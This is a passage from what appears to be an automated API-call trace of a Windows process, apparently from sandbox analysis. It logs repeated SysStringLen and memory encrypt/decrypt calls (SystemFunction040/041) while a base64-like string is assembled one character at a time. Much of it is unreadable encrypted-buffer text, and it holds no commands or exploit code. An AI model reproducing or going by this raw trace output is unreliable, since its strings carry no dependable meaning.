(param_1="䜪甮焓矎췥祑탟") returned 0x8 [0249.807] SysStringLen (param_1="䜪甮焓矎췥祑탟") returned 0x8 [0249.807] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.807] SysStringLen (param_1="OZvaJ") returned 0x8 [0249.807] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.807] SysStringLen (param_1="ﲀሖꞱ턗殿群◦餑") returned 0x8 [0249.807] SysStringLen (param_1="ﲀሖꞱ턗殿群◦餑") returned 0x8 [0249.807] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.808] SysStringLen (param_1="OZvaJi") returned 0x8 [0249.808] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.808] SysStringLen (param_1="퇴ዛ肚虴蛱ᩩග듈") returned 0x8 [0249.808] SysStringLen (param_1="퇴ዛ肚虴蛱ᩩග듈") returned 0x8 [0249.808] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.808] SysStringLen (param_1="OZvaJiw") returned 0x8 [0249.808] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.808] SysStringLen (param_1="騭鶅嚣ꔢ诧騰顯⤇") returned 0x8 [0249.808] SysStringLen (param_1="騭鶅嚣ꔢ诧騰顯⤇") returned 0x8 [0249.808] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.808] SysStringLen (param_1="OZvaJiwz") returned 0x8 [0249.808] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.809] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ") returned 0x8 [0249.809] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ") returned 0x8 [0249.809] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ") returned 0x8 [0249.809] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ") returned 0x10 [0249.809] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.810] SysStringLen (param_1="OZvaJiwzL鶀駼ﹶ∎᪂쐈") returned 0x10 [0249.810] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.810] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळהᢺ쇬鵶ꞡ汐ᘗ") returned 0x10 [0249.810] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळהᢺ쇬鵶ꞡ汐ᘗ") returned 0x10 [0249.810] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.811] SysStringLen (param_1="OZvaJiwzL+駼ﹶ∎᪂쐈") returned 0x10 [0249.811] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.811] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ勗䌔ﻛ븖㏺椾㋬㻚") returned 0x10 [0249.811] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ勗䌔ﻛ븖㏺椾㋬㻚") returned 0x10 [0249.811] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.811] SysStringLen (param_1="OZvaJiwzL+1ﹶ∎᪂쐈") returned 0x10 [0249.811] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.814] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ湘ᦫ儢쇥㡌ꀅ") returned 0x10 [0249.814] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ湘ᦫ儢쇥㡌ꀅ") returned 0x10 [0249.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.814] SysStringLen (param_1="OZvaJiwzL+1V∎᪂쐈") returned 0x10 [0249.814] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.814] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळᛁ咊茱蹧ꏁ⓵疔") returned 0x10 [0249.814] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळᛁ咊茱蹧ꏁ⓵疔") returned 0x10 [0249.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.814] SysStringLen (param_1="OZvaJiwzL+1VY᪂쐈") returned 0x10 [0249.814] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.814] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ朿댧│鍂퐰Σ") returned 0x10 [0249.815] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ朿댧│鍂퐰Σ") returned 0x10 [0249.815] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.815] SysStringLen (param_1="OZvaJiwzL+1VYO᪂쐈") returned 0x10 [0249.815] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.815] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ䖉Ꮗ쎜뽲ḏ跹뛆") returned 0x10 [0249.815] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ䖉Ꮗ쎜뽲ḏ跹뛆") returned 0x10 [0249.815] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.815] SysStringLen (param_1="OZvaJiwzL+1VYO5쐈") returned 0x10 [0249.815] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.815] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ滷雴聳塆밹㟨蝏") returned 0x10 [0249.815] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ滷雴聳塆밹㟨蝏") returned 0x10 [0249.815] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.815] SysStringLen (param_1="OZvaJiwzL+1VYO5n") returned 0x10 [0249.815] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.816] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開⊜) returned 0x10 [0249.816] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開⊜) returned 0x10 [0249.816] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開⊜) returned 0x10 [0249.816] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開⊜) returned 0x18 [0249.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.817] SysStringLen (param_1="OZvaJiwzL+1VYO5nP댰悩꟝䧖冮") returned 0x18 [0249.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.817] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開骜糵뭻쏵➅嚻ⶐ涮⋘) returned 0x18 [0249.817] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開骜糵뭻쏵➅嚻ⶐ涮⋘) returned 0x18 [0249.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.817] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf댰悩꟝䧖冮") returned 0x18 [0249.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.817] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開喜マ\ᣝ䒅긁쮌ﱢ") returned 0x18 [0249.817] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開喜マ\ᣝ䒅긁쮌ﱢ") returned 0x18 [0249.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.817] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2悩꟝䧖冮") returned 0x18 [0249.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.818] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開逿燩躋✃➇≘) returned 0x18 [0249.818] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開逿燩躋✃➇≘) returned 0x18 [0249.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.818] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2c꟝䧖冮") returned 0x18 [0249.818] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.818] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ﶜ볶좕䦅늾ꈯ쬤ƺ⋽) returned 0x18 [0249.818] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ﶜ볶좕䦅늾ꈯ쬤ƺ⋽) returned 0x18 [0249.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.818] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cu䧖冮") returned 0x18 [0249.818] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.818] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開薜뾂⸀䁈ꐹ琋⩢戡≸) returned 0x18 [0249.818] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開薜뾂⸀䁈ꐹ琋⩢戡≸) returned 0x18 [0249.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.819] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cuf冮") returned 0x18 [0249.819] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.819] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開࢜ꆃ䖿緉穼꟦ﮖ⋂) returned 0x18 [0249.819] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開࢜ꆃ䖿緉穼꟦ﮖ⋂) returned 0x18 [0249.819] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.819] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB冮") returned 0x18 [0249.819] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.819] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開⎪匣꡸新딆ὰ裇≀) returned 0x18 [0249.819] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開⎪匣꡸新딆ὰ裇≀) returned 0x18 [0249.819] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.819] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9") returned 0x18 [0249.819] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.820] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓⊷) returned 0x18 [0249.820] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓⊷) returned 0x18 [0249.820] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓⊷) returned 0x18 [0249.820] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓⊷) returned 0x20 [0249.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.821] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xꏔ꣓ﷷￖ燞ゝ稸") returned 0x20 [0249.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.821] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓荊⤮䟔蟻➏忙ᦨ≔) returned 0x20 [0249.821] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓荊⤮䟔蟻➏忙ᦨ≔) returned 0x20 [0249.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.821] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xS꣓ﷷￖ燞ゝ稸") returned 0x20 [0249.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.821] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓풷پ퉍ꘐ㍈磜蠹얀⊲) returned 0x20 [0249.821] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓풷پ퉍ꘐ㍈磜蠹얀⊲) returned 0x20 [0249.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.822] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSoﷷￖ燞ゝ稸") returned 0x20 [0249.822] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.822] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓脲睕ꨗᎼᔵʵ⊳) returned 0x20 [0249.822] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓脲睕ꨗᎼᔵʵ⊳) returned 0x20 [0249.822] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.822] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2ￖ燞ゝ稸") returned 0x20 [0249.822] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.822] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓ꎷ膘瓥澌䔹㦋읊⋞) returned 0x20 [0249.822] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓ꎷ膘瓥澌䔹㦋읊⋞) returned 0x20 [0249.822] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.822] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2G燞ゝ稸") returned 0x20 [0249.823] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.823] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓買Ꙏ⯌䎵夏㵁㲪欋≏) returned 0x20 [0249.823] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓買Ꙏ⯌䎵夏㵁㲪欋≏) returned 0x20 [0249.823] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.823] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2Gpゝ稸") returned 0x20 [0249.823] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.823] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓閷淌㢟觋幟펬퓤봦⋥) returned 0x20 [0249.823] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓閷淌㢟觋幟펬퓤봦⋥) returned 0x20 [0249.823] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.871] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2Gpp稸") returned 0x20 [0249.871] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.872] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓▷ኬ⇪꓀ⳏ퍐≗) returned 0x20 [0249.872] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓▷ኬ⇪꓀ⳏ퍐≗) returned 0x20 [0249.872] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.872] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2Gpph") returned 0x20 [0249.872] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.872] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀≳) returned 0x20 [0249.873] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀≳) returned 0x20 [0249.873] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀≳) returned 0x20 [0249.873] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀≳) returned 0x28 [0249.873] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.873] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphA\啈㶡䎰᩶\뻞") returned 0x28 [0249.874] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.874] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀텳㗵袢㳷根漲궊≊) returned 0x28 [0249.874] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀텳㗵袢㳷根漲궊≊) returned 0x28 [0249.874] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.874] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAK䣵ꅕ뀽癃씚뻞") returned 0x28 [0249.874] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.874] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀蹳꘻鷨煰푩粀฽䭔≪) returned 0x28 [0249.874] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀蹳꘻鷨煰푩粀฽䭔≪) returned 0x28 [0249.874] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.874] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGꅕ뀽癃씚뻞") returned 0x28 [0249.875] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.875] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀\돟軘\ۙ쭠鱗緔崙⊭) returned 0x28 [0249.875] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀\돟軘\ۙ쭠鱗緔崙⊭) returned 0x28 [0249.875] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.875] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZ뀽癃씚뻞") returned 0x28 [0249.875] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.875] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀絳퇮퍋鰺㗸꺼⍳∍) returned 0x28 [0249.875] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀絳퇮퍋鰺㗸꺼⍳∍) returned 0x28 [0249.875] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.876] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZN癃씚뻞") returned 0x28 [0249.876] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.876] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀뉳廔ꆥ殠म⡺ᷳ⋨) returned 0x28 [0249.876] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀뉳廔ꆥ殠म⡺ᷳ⋨) returned 0x28 [0249.876] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.876] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZNl씚뻞") returned 0x28 [0249.876] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.876] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀湳辫㔒⊴ᄳ睃썯⊓) returned 0x28 [0249.876] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀湳辫㔒⊴ᄳ睃썯⊓) returned 0x28 [0249.876] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.877] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZNld뻞") returned 0x28 [0249.877] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.877] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀詳㥻ꙡ⌾噃䠽≭) returned 0x28 [0249.877] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀詳㥻ꙡ⌾噃䠽≭) returned 0x28 [0249.877] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.877] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZNldE") returned 0x28 [0249.877] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.877] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ∗) returned 0x28 [0249.878] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ∗) returned 0x28 [0249.878] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ∗) returned 0x28 [0249.878] SysStringLen (param_1="첆ꔕ䒸ꧡ党槱ळ⼂혮쑙\㋚꤬臿開ꦜ䇇몛㧟㥇ꅴ̓뺷퍭鳠鬿툛㰻槀ᝳ믕䪃쨢⤌廛舄ᷢ∗) returned 0x30 [0249.878] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0249.879] SysStringLen (param_1="OZvaJiwzL+1VYO5nPf2cufB9xSo2GpphAKGZNldEc묮唣똄僆눡釱\⋚) returned 0x30 [0249.879] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0249.879] SysStringLen 